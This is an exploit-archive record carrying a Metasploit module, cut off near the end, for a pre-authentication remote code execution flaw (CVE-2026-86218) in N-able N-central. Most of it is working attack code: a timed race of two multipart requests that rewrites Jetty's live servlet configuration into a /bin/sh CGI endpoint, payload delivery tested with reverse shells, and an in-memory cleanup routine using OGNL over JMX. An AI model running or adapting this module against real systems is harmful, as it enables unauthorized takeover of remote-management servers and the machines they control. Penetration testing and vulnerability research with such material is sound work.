{"exploit":{"id":"MSF-linux--http--nable_ncentral_unauth_rce_cve_2026_86218","name":"N-able N-central Struts BeanUtils Unauthenticated RCE","description":"N-able N-central before 2026.3.1.14 uses a session-scoped Struts form on an unauthenticated action. Two concurrent multipart requests can race the form's multipart handler and expose Jetty's live configuration to Commons BeanUtils property population. This module changes a lazy N-central servlet holder into Jetty's bundled CGI servlet, configures it to invoke /bin/sh, and sends a command payload through the holder's existing URL mapping. By default, a second CGI request uses N-central's local JMX service and installed Java libraries to stop only the changed holder and restore its original servlet in memory.","cves":["CVE-2026-86218"],"author":"sfewer-r7","published":"2026-09-05","platform":"Linux,Unix","type":"remote","language":"Ruby","source":"metasploit","sourceUrl":"https://github.com/rapid7/metasploit-framework/blob/90dfbaa741421d0179f9f371109c215d49400444/modules/exploits/linux/http/nable_ncentral_unauth_rce_cve_2026_86218.rb","path":"modules/exploits/linux/http/nable_ncentral_unauth_rce_cve_2026_86218.rb","revision":"90dfbaa741421d0179f9f371109c215d49400444","filename":"nable_ncentral_unauth_rce_cve_2026_86218.rb","vulnerabilities":[{"id":"CVE-2026-86218","state":"PUBLISHED","title":"pre-authentication remote code execution","titleSource":"CVE Program","description":"N-central is vulnerable to a pre-auth remote code execution This issue affects N-central: before 2026.3.1.14.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-86218","cvss":{"version":"4.0","baseScore":10,"severity":"critical","vectorString":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","source":"N-able","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-86218"},"updatedAt":"2026-09-09T04:25:45.576Z","retrievedAt":"2026-11-25T16:13:33.948Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/MSF-linux--http--nable_ncentral_unauth_rce_cve_2026_86218.png?v=2","url":"https://exploitbin.com/exploits/MSF-linux--http--nable_ncentral_unauth_rce_cve_2026_86218","downloadUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--nable_ncentral_unauth_rce_cve_2026_86218/download","codeUrl":"https://exploitbin.com/api/v1/exploits/MSF-linux--http--nable_ncentral_unauth_rce_cve_2026_86218/code","licenseUrl":"https://exploitbin.com/sources#metasploit"},"code":"##\n# This module requires Metasploit: https://metasploit.com/download\n# Current source: https://github.com/rapid7/metasploit-framework\n##\n\nclass MetasploitModule < Msf::Exploit::Remote\n  Rank = GreatRanking\n\n  include Msf::Exploit::Remote::HttpClient\n  prepend Msf::Exploit::Remote::AutoCheck\n\n  def initialize(info = {})\n    super(\n      update_info(\n        info,\n        'Name' => 'N-able N-central Struts BeanUtils Unauthenticated RCE',\n        'Description' => %q{\n          N-able N-central before 2026.3.1.14 uses a session-scoped Struts form on\n          an unauthenticated action. Two concurrent multipart requests can race the\n          form's multipart handler and expose Jetty's live configuration to Commons\n          BeanUtils property population.\n\n          This module changes a lazy N-central servlet holder into Jetty's bundled\n          CGI servlet, configures it to invoke /bin/sh, and sends a command payload\n          through the holder's existing URL mapping. By default, a second CGI\n          request uses N-central's local JMX service and installed Java libraries to\n          stop only the changed holder and restore its original servlet in memory.\n        },\n        'Author' => [\n          'sfewer-r7' # Metasploit module\n        ],\n        'License' => MSF_LICENSE,\n        'References' => [\n          ['CVE', '2026-86218'],\n          ['URL', 'https://me.n-able.com/s/security-advisory/aArVy0000002Ld3KAE/cve202686218-preauthentication-remote-code-execution'],\n          ['URL', 'https://documentation.n-able.com/N-central/Release_Notes/GA/Content/N-central_2026.3_HF4_Release_Notes.htm']\n        ],\n        'DisclosureDate' => '2026-09-05',\n        'Privileged' => false, # Executes as user 'nable'\n        'Targets' => [\n          [\n            # Successfully tested against the following versions:\n            # * N-central 2025.4.1.2\n            # * N-central 2026.3.1.13\n            #\n            # Successfully tested with the following payloads:\n            # * cmd/linux/http/x64/meterpreter/reverse_tcp\n            # * cmd/unix/reverse_bash\n            'Linux Command',\n            {\n              'Platform' => ['unix', 'linux'],\n              'Arch' => [ARCH_CMD]\n            }\n          ]\n        ],\n        'DefaultTarget' => 0,\n        'DefaultOptions' => {\n          'FETCH_DELETE' => true,\n          # N-central mounts /tmp with noexec. Fetch payloads therefore use a\n          # Python memfd by default; this product-owned directory is the\n          # executable fallback when an operator sets FETCH_FILELESS to none.\n          'FETCH_FILELESS' => 'python3.8+',\n          'FETCH_WRITABLE_DIR' => '/var/opt/n-central/tmp',\n          'RPORT' => 443,\n          'SSL' => true\n        },\n        'Notes' => {\n          # The exploit temporarily replaces one live servlet and therefore\n          # causes both a configuration change and loss of that servlet's service.\n          # In-memory cleanup does not add a disk artifact, but a fetch payload\n          # can create one before FETCH_DELETE removes it.\n          'Stability' => [CRASH_SAFE, SERVICE_RESOURCE_LOSS],\n          'Reliability' => [REPEATABLE_SESSION],\n          'SideEffects' => [IOC_IN_LOGS, CONFIG_CHANGES, ARTIFACTS_ON_DISK]\n        }\n      )\n    )\n\n    register_options(\n      [\n        OptString.new('TARGETURI', [true, 'The N-central base path', '/']),\n        OptEnum.new(\n          'SERVLET',\n          [\n            true,\n            'The lazy servlet holder to replace temporarily',\n            'LogRetrieval',\n            ['LogRetrieval', 'FileTransfer', 'AutomationManagerDownloadServlet']\n          ]\n        )\n      ]\n    )\n\n    register_advanced_options(\n      [\n        OptFloat.new('RaceDelay', [true, 'Delay after pausing the first request before sending the helper request', 0.35]),\n        OptBool.new('ServletCleanup', [true, 'Restore the changed servlet holder after launching the payload', true]),\n        OptInt.new('ServletCleanupDelay', [true, 'Seconds to wait for the cleanup CGI request to finish before restoring the holder', 5])\n      ]\n    )\n  end\n\n  def check\n    # Omitting the action's required method makes N-central render its standard\n    # system-error component. That response includes the product version and is\n    # available without authentication on the same listener used by the\n    # exploit. It creates an ordinary HTTP session but does not mutate Jetty.\n    res = send_request_cgi(\n      'method' => 'GET',\n      'uri' => action_uri\n    )\n\n    return CheckCode::Unknown(\"No response from #{action_uri}.\") unless res\n\n    error_info = res.get_html_document.at_xpath('//*[@data-dojo-props]/@data-dojo-props')&.value\n\n    unless error_info&.start_with?(\"errorInfo:'\") && error_info.end_with?(\"'\")\n      return CheckCode::Unknown(\"The response from #{action_uri} did not identify N-central.\")\n    end\n\n    # data-dojo-props wraps JSON in errorInfo:'...'; it is not itself a JSON\n    # document. Remove only that fixed wrapper, then let the JSON parser extract\n    # the version rather than matching inside serialized JSON with a regexp.\n    begin\n      error_data = JSON.parse(error_info.delete_prefix(\"errorInfo:'\").delete_suffix(\"'\"))\n    rescue JSON::ParserError\n      return CheckCode::Detected('N-central returned malformed system-error JSON, so its version could not be determined.')\n    end\n\n    version_string = error_data['version'] if error_data.is_a?(Hash)\n\n    unless version_string.is_a?(String) && version_string.present?\n      return CheckCode::Detected('N-central detected, but its system-error metadata did not contain a usable version.')\n    end\n\n    begin\n      version = Rex::Version.new(version_string)\n    rescue ArgumentError\n      return CheckCode::Detected(\"N-central reported an invalid version string: #{version_string.inspect}.\")\n    end\n\n    return CheckCode::Safe(\"N-central #{version} is not affected.\") if version >= Rex::Version.new('2026.3.1.14')\n\n    CheckCode::Appears(\"N-central #{version} is affected.\")\n  end\n\n  def exploit\n    # Exploitation overview:\n    #\n    # The unauthenticated Struts action gives us a normal JSESSIONID. Two\n    # requests with that cookie share one session-scoped form. The slow request\n    # stops partway through multipart parsing, after Struts clears the form's\n    # multipart handler. A complete helper request then installs its initialized\n    # handler, containing live servlet references, on the shared form. When the\n    # slow request resumes, BeanUtils follows attacker-controlled field names\n    # through that handler and into Jetty's live WebAppContext.\n    #\n    # Those fields replace a not-yet-initialized N-central servlet with Jetty's\n    # CGI servlet and configure a shell to read the trigger body. A final POST\n    # supplies the command payload on the shell's standard input. Jetty retains\n    # the instantiated CGI object, so changing the holder fields back is not enough\n    # to restore it. The optional cleanup request waits until CGI has returned,\n    # then uses the local JMX service to stop only this holder, destroy CGI, and\n    # restore the original servlet without restarting Jetty.\n    race_delay = datastore['RaceDelay']\n\n    fail_with(Failure::BadConfig, 'RaceDelay must be greater than zero.') unless race_delay.positive?\n\n    # The holder name and URL stem are identical for two choices, but\n    # AutomationManagerDownloadServlet is mapped below AutomationManagerDownload.\n    trigger_paths = {\n      'LogRetrieval' => 'LogRetrieval/WEB-INF/web.xml',\n      'FileTransfer' => 'FileTransfer/WEB-INF/web.xml',\n      'AutomationManagerDownloadServlet' => 'AutomationManagerDownload/WEB-INF/web.xml'\n    }\n\n    servlet = datastore['SERVLET']\n\n    trigger_path = trigger_paths.fetch(servlet)\n\n    # LogRetrieval is the best default: it has the required wildcard mapping,\n    # is reachable without authentication on the public listener, and is\n    # normally initialized only by an uncommon log-capture operation.\n    # FileTransfer is also reachable on the public listener but exploiting it\n    # disrupts file transfers. AutomationManagerDownloadServlet generally\n    # requires the configurable management UI listener. Download has a suitable\n    # wildcard mapping, but normal traffic initialized it after a clean reboot,\n    # so it cannot be replaced reliably. Other candidates are initialized during\n    # startup, lack a wildcard mapping, or have incompatible authentication or\n    # filter behavior. When enabled, cleanup restores the selected holder after\n    # payload launch.\n    if servlet == 'AutomationManagerDownloadServlet'\n      print_warning('AutomationManagerDownloadServlet normally requires the configured management UI listener; set RPORT to that listener (port 8443 by default).')\n    end\n\n    # Resolve the final command before changing Jetty so a payload-generation\n    # failure cannot leave the target mutated without reaching the CGI trigger.\n    payload_command = payload.encoded\n\n    session_cookie = new_session\n\n    # Why the two requests must overlap:\n    #\n    # Struts stores one form object in this HTTP session, so both requests edit\n    # the same object. At the start of a multipart request, Struts removes the\n    # form's multipart handler. It does not put the request's new handler back\n    # until after BeanUtils has processed the submitted fields. A request\n    # therefore cannot use its own handler to reach Jetty.\n    #\n    # The first request stops while Struts is still reading its body. While it\n    # waits, the helper request finishes and puts its initialized handler into\n    # the shared form. When the first request continues, BeanUtils finds the\n    # helper's handler and follows the crafted field names through it into\n    # Jetty's live configuration.\n    #\n    # The padding prefix stays in the range that proved reliable during testing.\n    # The random suffix leaves every mutation field unsent while parsing is\n    # blocked. Hexadecimal padding has the requested exact length and cannot\n    # contain Rex::MIME's hyphen-prefixed numeric boundary. The complete body\n    # also stays below Struts' 128 KiB in-memory upload threshold.\n    padding_prefix_size = rand(48 * 1024..72 * 1024)\n\n    padding_suffix_size = rand(8 * 1024..16 * 1024)\n\n    padding = rand_text_hex(padding_prefix_size + padding_suffix_size)\n\n    multipart = Rex::MIME::Message.new\n\n    # No field initializes CGI and each field changes an independent holder or\n    # filter property, so their order is immaterial. Shuffling avoids a fixed\n    # wire layout without changing the race.\n    [[rand_text_hex(16), padding], *cgi_mutation_fields(servlet).shuffle].each do |name, value|\n      multipart.add_part(value, nil, nil, \"form-data; name=\\\"#{name}\\\"\")\n    end\n\n    body = multipart.to_s\n\n    fail_with(Failure::BadConfig, \"The generated multipart body is too large (#{body.bytesize} bytes).\") if body.bytesize >= 128 * 1024\n\n    # Locate the padding in the rendered MIME body instead of assuming the size\n    # of its random boundary and part headers. This keeps the split after the\n    # chosen number of padding bytes even if Rex changes either one.\n    padding_offset = body.index(padding)\n\n    fail_with(Failure::Unknown, 'The generated padding was not found in the multipart body.') unless padding_offset\n\n    body_split_offset = padding_offset + padding_prefix_size\n\n    slow_client = connect\n\n    slow_request = slow_client.request_cgi(\n      'method' => 'POST',\n      'uri' => action_uri,\n      'ctype' => \"multipart/form-data; boundary=#{multipart.bound}\",\n      'cookie' => session_cookie,\n      'data' => body\n    )\n\n    serialized_request = slow_request.to_s\n\n    # The byte split below is valid only if request_cgi appended the MIME body\n    # verbatim. Refuse to send a partial request if a future HTTP client change\n    # transforms or relocates it.\n    fail_with(Failure::Unknown, 'The HTTP client did not preserve the generated multipart body.') unless serialized_request.end_with?(body)\n\n    # request_cgi prepends the HTTP request line and headers. Translate the\n    # body-relative split into the serialized request rather than assuming how\n    # many bytes those headers occupy.\n    request_body_offset = serialized_request.bytesize - body.bytesize\n\n    request_split_offset = request_body_offset + body_split_offset\n\n    # HttpClientTimeout may be nil because send_request_cgi normally supplies\n    # its 20-second default. This raw client path bypasses that wrapper, so it\n    # must apply the same default when the option is unset or non-positive.\n    request_timeout = datastore['HttpClientTimeout']\n\n    request_timeout = 20 unless request_timeout&.positive?\n\n    vprint_status(\"Holding the multipart request after #{padding_prefix_size} of #{padding.bytesize} padding bytes.\")\n\n    begin\n      slow_client.connect(request_timeout)\n\n      # Content-Length describes the complete body, but only this prefix is\n      # sent. Jetty begins parsing, Struts clears multipartRequestHandler, and\n      # the multipart parser blocks waiting for the advertised remainder.\n      slow_client.conn.put(serialized_request.byteslice(0, request_split_offset))\n\n      Rex.sleep(race_delay)\n\n      # send_request_cgi deliberately creates a second connection. Its\n      # vars_form_data support uses Rex::MIME internally; the random field is\n      # not a property on the form and is harmless. Waiting for the response\n      # guarantees Struts has attached this request's wired handler to the\n      # shared form before the slow request resumes. Its eventual HTTP status is\n      # irrelevant because attachment happens during population, before the\n      # action runs.\n      helper_res = send_request_cgi(\n        'method' => 'POST',\n        'uri' => action_uri,\n        'cookie' => session_cookie,\n        'vars_form_data' => [\n          {\n            'name' => rand_text_hex(16),\n            'data' => rand_text_hex(2)\n          }\n        ]\n      )\n\n      fail_with(Failure::Unreachable, 'The helper multipart request did not receive a response.') unless helper_res\n\n      # The remaining bytes contain every mutation field. BeanUtils now sees\n      # the helper's handler instead of nil and follows those fields into Jetty.\n      slow_client.conn.put(serialized_request.byteslice(request_split_offset..))\n\n      mutation_res = slow_client.read_response(request_timeout, original_request: slow_request)\n\n      fail_with(Failure::Unreachable, 'The servlet mutation request did not receive a response.') unless mutation_res\n\n      fail_with(Failure::UnexpectedReply, \"The servlet mutation failed with HTTP #{mutation_res.code}.\") if mutation_res.code >= 500\n    rescue Rex::ConnectionError, ::Errno::EPIPE, ::IOError, ::Timeout::Error => e\n      fail_with(Failure::Unreachable, \"The multipart race failed: #{e.message}\")\n    ensure\n      slow_client.close\n    end\n\n    print_status('The multipart race completed without a server error.')\n\n    # WEB-INF/web.xml is an existing resource that satisfies CGI's file lookup.\n    # The command prefix makes /bin/sh read this request body from standard\n    # input; Jetty does not execute the contents of web.xml.\n    print_status(\"Sending the payload through #{servlet}\")\n\n    payload_marker = rand_text_hex(16)\n\n    res = send_request_cgi(\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, trigger_path),\n      'ctype' => 'text/plain',\n      'data' => exploit_payload_body(command: payload_command, marker: payload_marker)\n    )\n\n    if res&.body&.include?(payload_marker)\n      print_good('The CGI shell launched the payload command.')\n    elsif res&.code && res.code >= 500\n      print_warning(\"The CGI trigger returned HTTP #{res.code}; no command completion marker was received.\")\n    else\n      print_warning('No CGI command completion marker was received.')\n    end\n\n    # Prepare cleanup only after the payload trigger. A session may already be\n    # open, so cleanup validation, generation, and transport problems are\n    # reported as warnings rather than turning a successful exploit into an error.\n    unless datastore['ServletCleanup']\n      print_warning(\"Restart N-central to restore #{servlet} and remove the CGI endpoint.\")\n      return\n    end\n\n    cleanup_delay = datastore['ServletCleanupDelay']\n\n    unless cleanup_delay&.positive?\n      print_warning(\"Cleanup was not scheduled because ServletCleanupDelay must be greater than zero. Restart N-central to restore #{servlet} and remove the CGI endpoint.\")\n      return\n    end\n\n    # Cleanup runs through a separate CGI request so the holder is never\n    # stopped while it is servicing the payload request. The response confirms\n    # that the delayed in-memory controller was launched, not that its later\n    # JMX work has already completed.\n    print_status(\"Scheduling cleanup of #{servlet}\")\n\n    begin\n      cleanup_marker = rand_text_hex(16)\n      cleanup_res = send_request_cgi(\n        'method' => 'POST',\n        'uri' => normalize_uri(target_uri.path, trigger_path),\n        'ctype' => 'text/plain',\n        'data' => servlet_cleanup_body(servlet: servlet, marker: cleanup_marker, delay: cleanup_delay)\n      )\n\n      if cleanup_res&.body&.include?(cleanup_marker)\n        print_good(\"Cleanup of #{servlet} was scheduled with a #{cleanup_delay}-second delay.\")\n      else\n        print_warning(\"Cleanup could not be scheduled. Restart N-central to restore #{servlet} and remove the CGI endpoint.\")\n      end\n    rescue StandardError => e\n      print_warning(\"Cleanup could not be scheduled: #{e.message}. Restart N-central to restore #{servlet} and remove the CGI endpoint.\")\n    end\n  end\n\n  private\n\n  def exploit_payload_body(command:, marker:)\n    # The random marker shows that the CGI shell processed this request; the\n    # resulting session or payload behavior remains the proof that the payload\n    # itself succeeded. Run it in a background subshell and disconnect all three\n    # standard streams from CGI. Backgrounding alone is insufficient because a\n    # session process would retain Jetty's response pipe and keep the HTTP\n    # request open until it timed out. The CGI shell can now emit the marker and\n    # exit immediately while the payload continues independently.\n    <<~SH\n      printf 'Content-Type: text/plain\\r\\n\\r\\n'\n      (#{command}) </dev/null >/dev/null 2>&1 &\n      printf '#{marker}\\n'\n    SH\n  end\n\n  def servlet_cleanup_body(servlet:, marker:, delay:)\n    # JShell normally writes preferences and remote-execution bookkeeping to\n    # disk. Local execution avoids its helper JVM, and both remaining writable\n    # locations are redirected to a private tmpfs directory that is removed\n    # when the controller exits. No source, class, or JAR is uploaded.\n    memory_directory = \"/dev/shm/.#{rand_text_alphanumeric(16)}\"\n    encoded_script = Rex::Text.encode_base64(servlet_cleanup_script(servlet), '')\n\n    # /bin/sh -c assigns the first argument after its script to $0. This\n    # placeholder is required so the delay, script, and directory remain $1,\n    # $2, and $3; its value has no other purpose, so do not leave a fixed label.\n    command_name = rand_text_alphanumeric(8)\n\n    <<~SH\n      printf 'Content-Type: text/plain\\r\\n\\r\\n'\n      if (umask 077 && mkdir '#{memory_directory}'); then\n        nohup /bin/sh -c '\n          sleep \"$1\"\n          printf %s \"$2\" | /usr/bin/base64 -d | /usr/bin/jshell \\\n            -J-Djava.util.prefs.userRoot=\"$3\" -J-Djava.io.tmpdir=\"$3\" \\\n            --execution local --no-startup --feedback silent -\n          /usr/bin/find \"$3\" -type f -delete\n          /usr/bin/find \"$3\" -depth -type d -empty -delete\n        ' '#{command_name}' #{delay} '#{encoded_script}' '#{memory_directory}' </dev/null >/dev/null 2>&1 &\n        printf '#{marker}\\n'\n      fi\n    SH\n  end\n\n  def servlet_cleanup_script(servlet)\n    # The race changes the holder's configuration, and the trigger then makes\n    # Jetty create a live CGI servlet from it. Merely writing the old class name\n    # back would leave that CGI object running. Restarting all of Jetty would\n    # remove it, but would also interrupt N-central and any payload sessions.\n    #\n    # This method instead builds a JShell program for the second CGI request to\n    # run. JShell connects to N-central's local JMX service through loopback and\n    # creates a temporary bridge that evaluates an OGNL expression inside\n    # Jetty's JVM. Running there lets the expression stop only the affected\n    # holder, destroy CGI, restore the original N-central servlet, and start that\n    # holder again. Jetty and the rest of the web application remain running,\n    # and no compiled cleanup helper is uploaded.\n    original_classes = {\n      'LogRetrieval' => 'com.nable.server.reactive.LogRetrieval',\n      'FileTransfer' => 'com.nable.server.reactive.FileTransfer',\n      'AutomationManagerDownloadServlet' => 'com.nable.server.util.automationManager.AutomationManagerDownloadServlet'\n    }\n\n    # The mutation overwrites the holder's original class reference. Map each\n    # supported holder to the N-central class that a clean server assigns to it.\n    original_class = original_classes.fetch(servlet)\n    object_suffix = rand_text_alphanumeric(12)\n\n    # JShell and OGNL use separate variable scopes, but both accept Java-style\n    # identifiers. Separate generators keep each scope collision-free while\n    # preserving descriptive keys in this Ruby source. OGNL also reserves\n    # implicit variables and word-form operators that Java permits as\n    # identifiers, so exclude those in addition to Java's reserved words.\n    jshell_identifiers = Rex::RandomIdentifier::Generator.new(language: :java)\n    ognl_identifiers = Rex::RandomIdentifier::Generator.new(\n      language: :java,\n      forbidden: Rex::RandomIdentifier::Generator::JavaOpts[:forbidden] +\n        %w[and band bor context eq gt gte in lt lte neq not or root shl shr ushr xor]\n    )\n\n    # cgi_mutation_fields is the single source of truth for the CGI class and\n    # its init parameters. Index its full BeanUtils paths by their final\n    # property rather than relying on array order, because the wire fields are\n    # deliberately shuffled during exploitation.\n    mutation_values = cgi_mutation_fields(servlet).to_h.transform_keys do |property_path|\n      property_path.rpartition('.').last\n    end\n\n    cgi_class = mutation_values.fetch('heldClass')\n    init_parameters = mutation_values.each_with_object({}) do |(property, value), parameters|\n      match = property.match(/\\AinitParameter\\(([^)]+)\\)\\z/)\n      parameters[match[1]] = value if match\n    end\n\n    init_parameter_checks = init_parameters.map do |name, value|\n      \"##{ognl_identifiers[:servlet_holder]}.getInitParameter(#{name.dump})==#{value.dump}\"\n    end.join(\" &&\\n              \")\n\n    init_parameter_removals = init_parameters.keys.map do |name|\n      \"##{ognl_identifiers[:servlet_holder]}.getInitParameters().remove(#{name.dump}),\"\n    end.join(\"\\n              \")\n\n    # JMX identifies the holder and its web-application class loader, but the\n    # holder MBean does not expose the stop and start operations needed to\n    # discard the live CGI object. The OGNL expression therefore runs inside\n    # Jetty and recovers the underlying Java objects in three steps:\n    #\n    # 1. Find exactly one JMX name for the selected holder and obtain Jetty's\n    #    class loader from it. This loader can reach the Jetty infrastructure\n    #    needed to recover the live holder, but not N-central's application\n    #    classes.\n    # 2. Find Jetty's Server through its shutdown monitor, obtain the server's\n    #    MBeanContainer, and use that container to translate the JMX name back\n    #    into the live ServletHolder object.\n    # 3. Read the holder, then obtain ROOT's application class loader from its\n    #    servlet context so the original N-central servlet class can be loaded.\n    #    Also read the handler and two global filters that the exploit changed.\n    #    Before touching them, require the exact CGI class, parameters, lifecycle\n    #    state, and async settings written by this module. An unexpected or\n    #    ambiguous state becomes a no-op instead of risking a change to an\n    #    unrelated or already-modified holder.\n    #\n    # Once those checks pass, the expression stops the holder (which destroys\n    # CGI), restores the known N-central class, removes the CGI-only parameters,\n    # resets async support, and starts just that holder. The two shared filters\n    # return to their normal settings only when no other holder is still using\n    # CGI. A final state check distinguishes a complete restoration from a\n    # partial one.\n    #\n    # The repeated getMethods().{?...}[0] operations select a public Java method\n    # by name, and OgnlRuntime.invokeMethod calls it with the explicitly built\n    # argument array. This avoids dispatching through concrete runtime classes\n    # that Java's module and access rules do not expose. Within an OGNL\n    # collection selection, #this is the built-in name for the current item.\n    expression = <<~OGNL.chomp\n      (\n        ##{ognl_identifiers[:mbean_server]}=@java.lang.management.ManagementFactory@getPlatformMBeanServer(),\n        ##{ognl_identifiers[:query_names_method]}=@javax.management.MBeanServer@class.getMethods().{?#this.getName()=='queryNames'}[0],\n        ##{ognl_identifiers[:query_arguments]}=new java.lang.Object[2],\n        ##{ognl_identifiers[:query_arguments]}[0]=new javax.management.ObjectName('org.eclipse.jetty.servlet:context=ROOT,type=servletholder,name=#{servlet},*'),\n        ##{ognl_identifiers[:query_arguments]}[1]=null,\n        ##{ognl_identifiers[:holder_names]}=@ognl.OgnlRuntime@invokeMethod(##{ognl_identifiers[:mbean_server]},##{ognl_identifiers[:query_names_method]},##{ognl_identifiers[:query_arguments]}),\n        ##{ognl_identifiers[:holder_names]}.size()!=1 ? 'HOLDER_NOT_UNIQUE' :\n        (\n          ##{ognl_identifiers[:holder_name]}=##{ognl_identifiers[:holder_names]}.toArray()[0],\n          ##{ognl_identifiers[:get_class_loader_method]}=@javax.management.MBeanServer@class.getMethods().{?#this.getName()=='getClassLoaderFor'}[0],\n          ##{ognl_identifiers[:one_argument]}=new java.lang.Object[1],\n          ##{ognl_identifiers[:one_argument]}[0]=##{ognl_identifiers[:holder_name]},\n          ##{ognl_identifiers[:jetty_class_loader]}=@ognl.OgnlRuntime@invokeMethod(##{ognl_identifiers[:mbean_server]},##{ognl_identifiers[:get_class_loader_method]},##{ognl_identifiers[:one_argument]}),\n          ##{ognl_identifiers[:load_class_method]}=@java.lang.ClassLoader@class.getMethods().{?#this.getName()=='loadClass'}[0],\n          ##{ognl_identifiers[:shutdown_monitor_class]}=##{ognl_identifiers[:load_class_method]}.invoke(##{ognl_identifiers[:jetty_class_loader]},'org.eclipse.jetty.server.ShutdownMonitor'),\n          ##{ognl_identifiers[:get_instance_method]}=##{ognl_identifiers[:shutdown_monitor_class]}.getMethods().{?#this.getName()=='getInstance'}[0],\n          ##{ognl_identifiers[:shutdown_monitor]}=@ognl.OgnlRuntime@invokeMethod(null,##{ognl_identifiers[:get_instance_method]},new java.lang.Object[0]),\n          ##{ognl_identifiers[:lifecycles_field]}=##{ognl_identifiers[:shutdown_monitor_class]}.getDeclaredField('_lifeCycles'),\n          ##{ognl_identifiers[:lifecycles_field]}.setAccessible(true),\n          ##{ognl_identifiers[:jetty_servers]}=##{ognl_identifiers[:lifecycles_field]}.get(##{ognl_identifiers[:shutdown_monitor]}).{?#this.getClass().getName()=='org.eclipse.jetty.server.Server'},\n          ##{ognl_identifiers[:jetty_servers]}.size()!=1 ? 'SERVER_NOT_UNIQUE' :\n          (\n            ##{ognl_identifiers[:mbean_container_class]}=##{ognl_identifiers[:load_class_method]}.invoke(##{ognl_identifiers[:jetty_class_loader]},'org.eclipse.jetty.jmx.MBeanContainer'),\n            ##{ognl_identifiers[:get_bean_method]}=##{ognl_identifiers[:jetty_servers]}[0].getClass().getMethods().{?#this.getName()=='getBean'}[0],\n            ##{ognl_identifiers[:one_argument]}[0]=##{ognl_identifiers[:mbean_container_class]},\n            ##{ognl_identifiers[:mbean_container]}=@ognl.OgnlRuntime@invokeMethod(##{ognl_identifiers[:jetty_servers]}[0],##{ognl_identifiers[:get_bean_method]},##{ognl_identifiers[:one_argument]}),\n            ##{ognl_identifiers[:find_bean_method]}=##{ognl_identifiers[:mbean_container_class]}.getMethods().{?#this.getName()=='findBean'}[0],\n            ##{ognl_identifiers[:one_argument]}[0]=##{ognl_identifiers[:holder_name]},\n            ##{ognl_identifiers[:servlet_holder]}=@ognl.OgnlRuntime@invokeMethod(##{ognl_identifiers[:mbean_container]},##{ognl_identifiers[:find_bean_method]},##{ognl_identifiers[:one_argument]}),\n            ##{ognl_identifiers[:servlet_handler]}=##{ognl_identifiers[:servlet_holder]}.getServletHandler(),\n            ##{ognl_identifiers[:webapp_class_loader]}=##{ognl_identifiers[:servlet_handler]}.getServletContext().getClassLoader(),\n            ##{ognl_identifiers[:header_filter]}=##{ognl_identifiers[:servlet_handler]}.getFilter('HeaderFilter'),\n            ##{ognl_identifiers[:mdc_filter]}=##{ognl_identifiers[:servlet_handler]}.getFilter('Mapped Diagnostic Context Filter'),\n            ##{ognl_identifiers[:original_class]}=##{ognl_identifiers[:load_class_method]}.invoke(##{ognl_identifiers[:webapp_class_loader]},'#{original_class}'),\n            ##{ognl_identifiers[:valid_state]}=\n              ##{ognl_identifiers[:servlet_holder]}.getClassName()==#{cgi_class.dump} &&\n              ##{ognl_identifiers[:servlet_holder]}.getInitParameters().size()==#{init_parameters.length} &&\n              #{init_parameter_checks} &&\n              ##{ognl_identifiers[:servlet_holder]}.isAsyncSupported() && ##{ognl_identifiers[:servlet_holder]}.isEnabled() && ##{ognl_identifiers[:servlet_holder]}.isStarted() &&\n              ##{ognl_identifiers[:header_filter]}!=null && ##{ognl_identifiers[:header_filter]}.isAsyncSupported() &&\n              ##{ognl_identifiers[:mdc_filter]}!=null && ##{ognl_identifiers[:mdc_filter]}.isAsyncSupported(),\n            ##{ognl_identifiers[:valid_state]} ?\n            (\n              ##{ognl_identifiers[:other_cgi]}=##{ognl_identifiers[:servlet_handler]}.getServlets().{?#this!=##{ognl_identifiers[:servlet_holder]} && #this.getClassName()==#{cgi_class.dump}}.size()>0,\n              ##{ognl_identifiers[:servlet_holder]}.stop(),\n              ##{ognl_identifiers[:servlet_holder]}.setHeldClass(##{ognl_identifiers[:original_class]}),\n              #{init_parameter_removals}\n              ##{ognl_identifiers[:servlet_holder]}.setAsyncSupported(false),\n              ##{ognl_identifiers[:servlet_holder]}.setEnabled(true),\n              ##{ognl_identifiers[:other_cgi]} || (##{ognl_identifiers[:header_filter]}.setAsyncSupported(false),##{ognl_identifiers[:mdc_filter]}.setAsyncSupported(false),true),\n              ##{ognl_identifiers[:servlet_holder]}.start(),\n              ##{ognl_identifiers[:servlet_holder]}.getClassName()=='#{original_class}' &&\n                ##{ognl_identifiers[:servlet_holder]}.getInitParameters().isEmpty() &&\n                !##{ognl_identifiers[:servlet_holder]}.isAsyncSupported() && ##{ognl_identifiers[:servlet_holder]}.isEnabled() && ##{ognl_identifiers[:servlet_holder]}.isStarted() &&\n                (##{ognl_identifiers[:other_cgi]} ? (##{ognl_identifiers[:header_filter]}.isAsyncSupported() && ##{ognl_identifiers[:mdc_filter]}.isAsyncSupported()) :\n                  (!##{ognl_identifiers[:header_filter]}.isAsyncSupported() && !##{ognl_identifiers[:mdc_filter]}.isAsyncSupported())) ?\n                'RESTORED' : 'VERIFY_FAILED'\n            ) : 'UNEXPECTED_STATE'\n          )\n        )\n      )\n    OGNL\n\n    # The OGNL source contains several layers of quotes plus values copied from\n    # cgi_mutation_fields. Base64 carries it through the generated Java as one\n    # opaque string, preventing Java escaping from changing a value before\n    # JShell decodes it and sends it over JMX.\n    encoded_expression = Rex::Text.encode_base64(expression, '')\n\n    # JShell runs in its own JVM, so it cannot directly manipulate Jetty's live\n    # holder. The generated program crosses that boundary as follows:\n    #\n    # 1. Connect to the JMX server listening on the appliance's loopback\n    #    interface.\n    # 2. Load a small, serializable OGNL object in JShell. It is only a carrier\n    #    whose class loader lets the temporary MBean resolve OGNL; the cleanup\n    #    logic remains in the expression above.\n    # 3. Register an MLet, JMX's built-in URL class loader, inside Jetty and\n    #    point it at the same installed OGNL and Javassist JARs. Jetty can now\n    #    receive that carrier over RMI without copying a new JAR to the appliance.\n    # 4. Register a temporary RequiredModelMBean whose single operation calls\n    #    OGNL's getValue method. Invoking it over JMX causes the expression to\n    #    execute in Jetty's JVM rather than in JShell.\n    # 5. In a finally block, attempt to unregister both temporary MBeans and\n    #    close the JMX connection whether restoration succeeds or raises an\n    #    exception.\n    #\n    # ImmutableDescriptor is required here because DescriptorSupport 